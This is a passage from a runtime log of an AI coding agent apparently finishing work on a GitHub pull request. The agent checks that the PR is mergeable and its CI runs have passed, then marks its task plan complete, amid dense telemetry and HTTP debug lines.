Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (ubuntu-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (macos-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (windows-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Build Package\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Auto Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Instant Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Deploy Rust Documentation\",\"status\":\"COMPLETED\"}],\"headRefOid\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"isDraft\":false,\"mergeStateStatus\":\"CLEAN\",\"mergeable\":\"MERGEABLE\",\"title\":\"Document OpenMetadata best-practice adoption plan\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}\n[2026-07-12T04:11:02.374Z] [INFO] [{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:08:06Z\",\"databaseId\":29179259847,\"headSha\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\"},{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:01:59Z\",\"databaseId\":29179103369,\"headSha\":\"e4a**********************************43d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\"}]\n[2026-07-12T04:11:02.374Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:02.374Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.374Z] [INFO] 2026-07-12T04:11:02.374305Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-a5314137-5814-4129-93a7-2efa716bd7be duration_ms=1862 success=true arguments_length=536 output_length=1950 output_line_count=8 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:02.374Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.374Z] [INFO] \n[2026-07-12T04:11:02.392Z] [INFO] 2026-07-12T04:11:02.391989Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0A3w3iUcXbngChcnlv95AOzZ arguments=const r=await tools.exec_command({cmd:\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":20000}); text(r.output);\n[2026-07-12T04:11:02.392Z] [INFO]  duration_ms=2034 success=true output=Script completed\n[2026-07-12T04:11:02.392Z] [INFO] Wall time 2.0 seconds\n[2026-07-12T04:11:02.392Z] [INFO] Output:\n[2026-07-12T04:11:02.392Z] [INFO] \n[2026-07-12T04:11:02.392Z] [INFO] ## issue-5-e2602184e2c5...origin/issue-5-e2602184e2c5\n[2026-07-12T04:11:02.392Z] [INFO] {\"checks\":[{\"conclusion\":\"SUCCESS\",\"name\":\"Detect Changes\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Version Modification Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Create Changelog PR\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Changelog Fragment Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Lint and Format Check\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Ontology Word Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Code Coverage\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (ubuntu-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (macos-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Test (windows-latest)\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SUCCESS\",\"name\":\"Build Package\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Auto Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Instant Release\",\"status\":\"COMPLETED\"},{\"conclusion\":\"SKIPPED\",\"name\":\"Deploy Rust Documentation\",\"status\":\"COMPLETED\"}],\"headRefOid\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"isDraft\":false,\"mergeStateStatus\":\"CLEAN\",\"mergeable\":\"MERGEABLE\",\"title\":\"Document OpenMetadata best-practice adoption plan\",\"url\":\"https://github.com/link-foundation/meta-ontology/pull/6\"}\n[2026-07-12T04:11:02.392Z] [INFO] [{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:08:06Z\",\"databaseId\":29179259847,\"headSha\":\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\"},{\"conclusion\":\"success\",\"createdAt\":\"2026-07-12T04:01:59Z\",\"databaseId\":29179103369,\"headSha\":\"e4a**********************************43d\",\"status\":\"completed\",\"url\":\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\"}]\n[2026-07-12T04:11:02.392Z] [INFO]  mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:02.391Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.392Z] [INFO] 2026-07-12T04:11:02.392063Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_0A3w3iUcXbngChcnlv95AOzZ duration_ms=2034 success=true arguments_length=586 output_length=1894 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:02.392Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.392Z] [INFO] 2026-07-12T04:11:02.392272Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_0A3w3iUcXbngChcnlv95AOzZ tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=2034 total_duration_ms=2035\n[2026-07-12T04:11:02.392Z] [INFO] \n[2026-07-12T04:11:02.445Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_59\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc \\\"git status --short --branch && gh pr view 6 --repo link-foundation/meta-ontology --json url,title,isDraft,mergeable,mergeStateStatus,headRefOid,statusCheckRollup --jq '{url,title,isDraft,mergeable,mergeStateStatus,headRefOid,checks:[.statusCheckRollup[]|{name,status,conclusion}]}' && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,conclusion,status,createdAt,headSha,url\\\"\",\"aggregated_output\":\"{\\\"checks\\\":[{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Detect Changes\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Version Modification Check\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Create Changelog PR\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Changelog Fragment Check\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Lint and Format Check\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Ontology Word Coverage\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Code Coverage\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Test (ubuntu-latest)\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Test (macos-latest)\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Test (windows-latest)\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SUCCESS\\\",\\\"name\\\":\\\"Build Package\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Auto Release\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Instant Release\\\",\\\"status\\\":\\\"COMPLETED\\\"},{\\\"conclusion\\\":\\\"SKIPPED\\\",\\\"name\\\":\\\"Deploy Rust Documentation\\\",\\\"status\\\":\\\"COMPLETED\\\"}],\\\"headRefOid\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"isDraft\\\":false,\\\"mergeStateStatus\\\":\\\"CLEAN\\\",\\\"mergeable\\\":\\\"MERGEABLE\\\",\\\"title\\\":\\\"Document OpenMetadata best-practice adoption plan\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/pull/6\\\"}\\n[{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-07-12T04:08:06Z\\\",\\\"databaseId\\\":29179259847,\\\"headSha\\\":\\\"4dcfb8ec59e103d45b4ed0fa1f10325fea65602d\\\",\\\"status\\\":\\\"completed\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179259847\\\"},{\\\"conclusion\\\":\\\"success\\\",\\\"createdAt\\\":\\\"2026-07-12T04:01:59Z\\\",\\\"databaseId\\\":29179103369,\\\"headSha\\\":\\\"e4a**********************************43d\\\",\\\"status\\\":\\\"completed\\\",\\\"url\\\":\\\"https://github.com/link-foundation/meta-ontology/actions/runs/29179103369\\\"}]\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:11:02.445Z] [INFO] \n[2026-07-12T04:11:02.527Z] [INFO] 2026-07-12T04:11:02.523878Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:11:02.527Z] [INFO] \n[2026-07-12T04:11:02.537Z] [INFO] 2026-07-12T04:11:02.535654Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:11:02.537Z] [INFO] \n[2026-07-12T04:11:02.598Z] [INFO] 2026-07-12T04:11:02.592263Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:11:02.598Z] [INFO] \n[2026-07-12T04:11:02.609Z] [INFO] 2026-07-12T04:11:02.603158Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:11:02.609Z] [INFO] \n[2026-07-12T04:11:02.618Z] [INFO] 2026-07-12T04:11:02.610218Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:11:02.618Z] [INFO] \n[2026-07-12T04:11:02.645Z] [INFO] 2026-07-12T04:11:02.643892Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:02.643Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.645Z] [INFO] 2026-07-12T04:11:02.643961Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=2 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:11:02.643Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:02.645Z] [INFO] 2026-07-12T04:11:02.643976Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:11:02.645Z] [INFO] \n[2026-07-12T04:11:02.713Z] [INFO] 2026-07-12T04:11:02.712541Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:11:02.713Z] [INFO] \n[2026-07-12T04:11:02.718Z] [INFO] 2026-07-12T04:11:02.712915Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:11:02 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"99d88c21-63be-4476-9e49-c5165fee4992\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=BTa7HVWHqHh9YY%2F1e8xBJZ3Kq%2Bj5zjRkpGAHDWrvObNN7r4wuXlRYWoO%2FZO0icMwYBp%2BMPT4Mhu53nZh%2B32mMlaczGWJ7PdTctdxRsfnNsUpxUhyGLcuYq61Rz%2Ff\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d339d891e360b-FRA\"} version=HTTP/1.1\n[2026-07-12T04:11:02.718Z] [INFO] \n[2026-07-12T04:11:04.342Z] [INFO] 2026-07-12T04:11:04.341778Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313d853e8819194623a0cc07caa13\"), status: Some(\"in_progress\"), call_id: \"call_L2oscVqc8bCgAh9jysHLi5la\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:11:04.342Z] [INFO] \n[2026-07-12T04:11:08.818Z] [INFO] 2026-07-12T04:11:08.815619Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.update_plan({explanation:\"Commit 4dcfb8e was pushed only to the prepared branch. PR 6 has a final title/description, is ready for review, is mergeable with CLEAN status, and the fresh CI run for the exact head SHA passed on Linux, macOS, and Windows along with lint, file-size, word-coverage, version, and package checks.\",\"plan\":[\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"completed\"},\n[2026-07-12T04:11:08.818Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"completed\"}\n[2026-07-12T04:11:08.818Z] [INFO] ]}); text(r);\n[2026-07-12T04:11:08.818Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:11:08.818Z] [INFO] \n[2026-07-12T04:11:08.837Z] [INFO] 2026-07-12T04:11:08.837109Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a5313d6b33c8191af54bbd51be6c1ac\"\n[2026-07-12T04:11:08.837Z] [INFO] 2026-07-12T04:11:08.837163Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98694 output_token_count=244 cached_token_count=97024 reasoning_token_count=0 tool_token_count=98938 ttft_ms=1700 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:08.837Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.837Z] [INFO] 2026-07-12T04:11:08.837184Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=98694 output_token_count=244 cached_token_count=97024 reasoning_token_count=0 tool_token_count=98938 ttft_ms=1700 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:11:08.837Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.837Z] [INFO] \n[2026-07-12T04:11:08.911Z] [INFO] 2026-07-12T04:11:08.909971Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-cd29649f-27db-4c79-ac91-2eb3ee9660ef arguments={\"explanation\":\"Commit 4dcfb8e was pushed only to the prepared branch. PR 6 has a final title/description, is ready for review, is mergeable with CLEAN status, and the fresh CI run for the exact head SHA passed on Linux, macOS, and Windows along with lint, file-size, word-coverage, version, and package checks.\",\"plan\":[{\"step\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"status\":\"completed\"},{\"step\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"status\":\"completed\"},{\"step\":\"Implement the smallest complete fix and any required release metadata\",\"status\":\"completed\"},{\"step\":\"Run focused tests and full local CI checks; review the complete diff\",\"status\":\"completed\"},{\"step\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"status\":\"completed\"},{\"step\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"status\":\"completed\"}]} duration_ms=0 success=true output=Plan updated mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:08.909Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.911Z] [INFO] 2026-07-12T04:11:08.910023Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=update_plan call_id=exec-cd29649f-27db-4c79-ac91-2eb3ee9660ef duration_ms=0 success=true arguments_length=968 output_length=12 output_line_count=1 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:08.910Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.911Z] [INFO] \n[2026-07-12T04:11:08.917Z] [INFO] {\"type\":\"item.updated\",\"item\":{\"id\":\"item_1\",\"type\":\"todo_list\",\"items\":[{\"text\":\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",\"completed\":true},{\"text\":\"Identify root cause and existing implementation patterns; reproduce with a failing test\",\"completed\":true},{\"text\":\"Implement the smallest complete fix and any required release metadata\",\"completed\":true},{\"text\":\"Run focused tests and full local CI checks; review the complete diff\",\"completed\":true},{\"text\":\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",\"completed\":true},{\"text\":\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",\"completed\":true}]}}\n[2026-07-12T04:11:08.917Z] [INFO] \n[2026-07-12T04:11:08.929Z] [INFO] 2026-07-12T04:11:08.928580Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_L2oscVqc8bCgAh9jysHLi5la arguments=const r=await tools.update_plan({explanation:\"Commit 4dcfb8e was pushed only to the prepared branch. PR 6 has a final title/description, is ready for review, is mergeable with CLEAN status, and the fresh CI run for the exact head SHA passed on Linux, macOS, and Windows along with lint, file-size, word-coverage, version, and package checks.\",\"plan\":[\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Inspect repository guidance, branch/worktree, issue 5, PR 6, and all comments/reviews\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Identify root cause and existing implementation patterns; reproduce with a failing test\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Implement the smallest complete fix and any required release metadata\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Run focused tests and full local CI checks; review the complete diff\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Commit atomically, sync default branch, push only issue-5-e2602184e2c5\",status:\"completed\"},\n[2026-07-12T04:11:08.929Z] [INFO]  {step:\"Update and finalize PR 6, verify fresh CI logs/status, and mark ready\",status:\"completed\"}\n[2026-07-12T04:11:08.929Z] [INFO] ]}); text(r);\n[2026-07-12T04:11:08.929Z] [INFO]  duration_ms=81 success=true output=Script completed\n[2026-07-12T04:11:08.929Z] [INFO] Wall time 0.1 seconds\n[2026-07-12T04:11:08.929Z] [INFO] Output:\n[2026-07-12T04:11:08.929Z] [INFO] \n[2026-07-12T04:11:08.929Z] [INFO] {} mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:11:08.928Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:11:08.929Z] [INFO] 2026-07-12T04:11:08.928631Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_L2oscVqc8bCgAh9jysHLi5la duration_ms=81 success=true arguments_length=999 output_length=50 output_line_count=5 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:11:08.928Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec 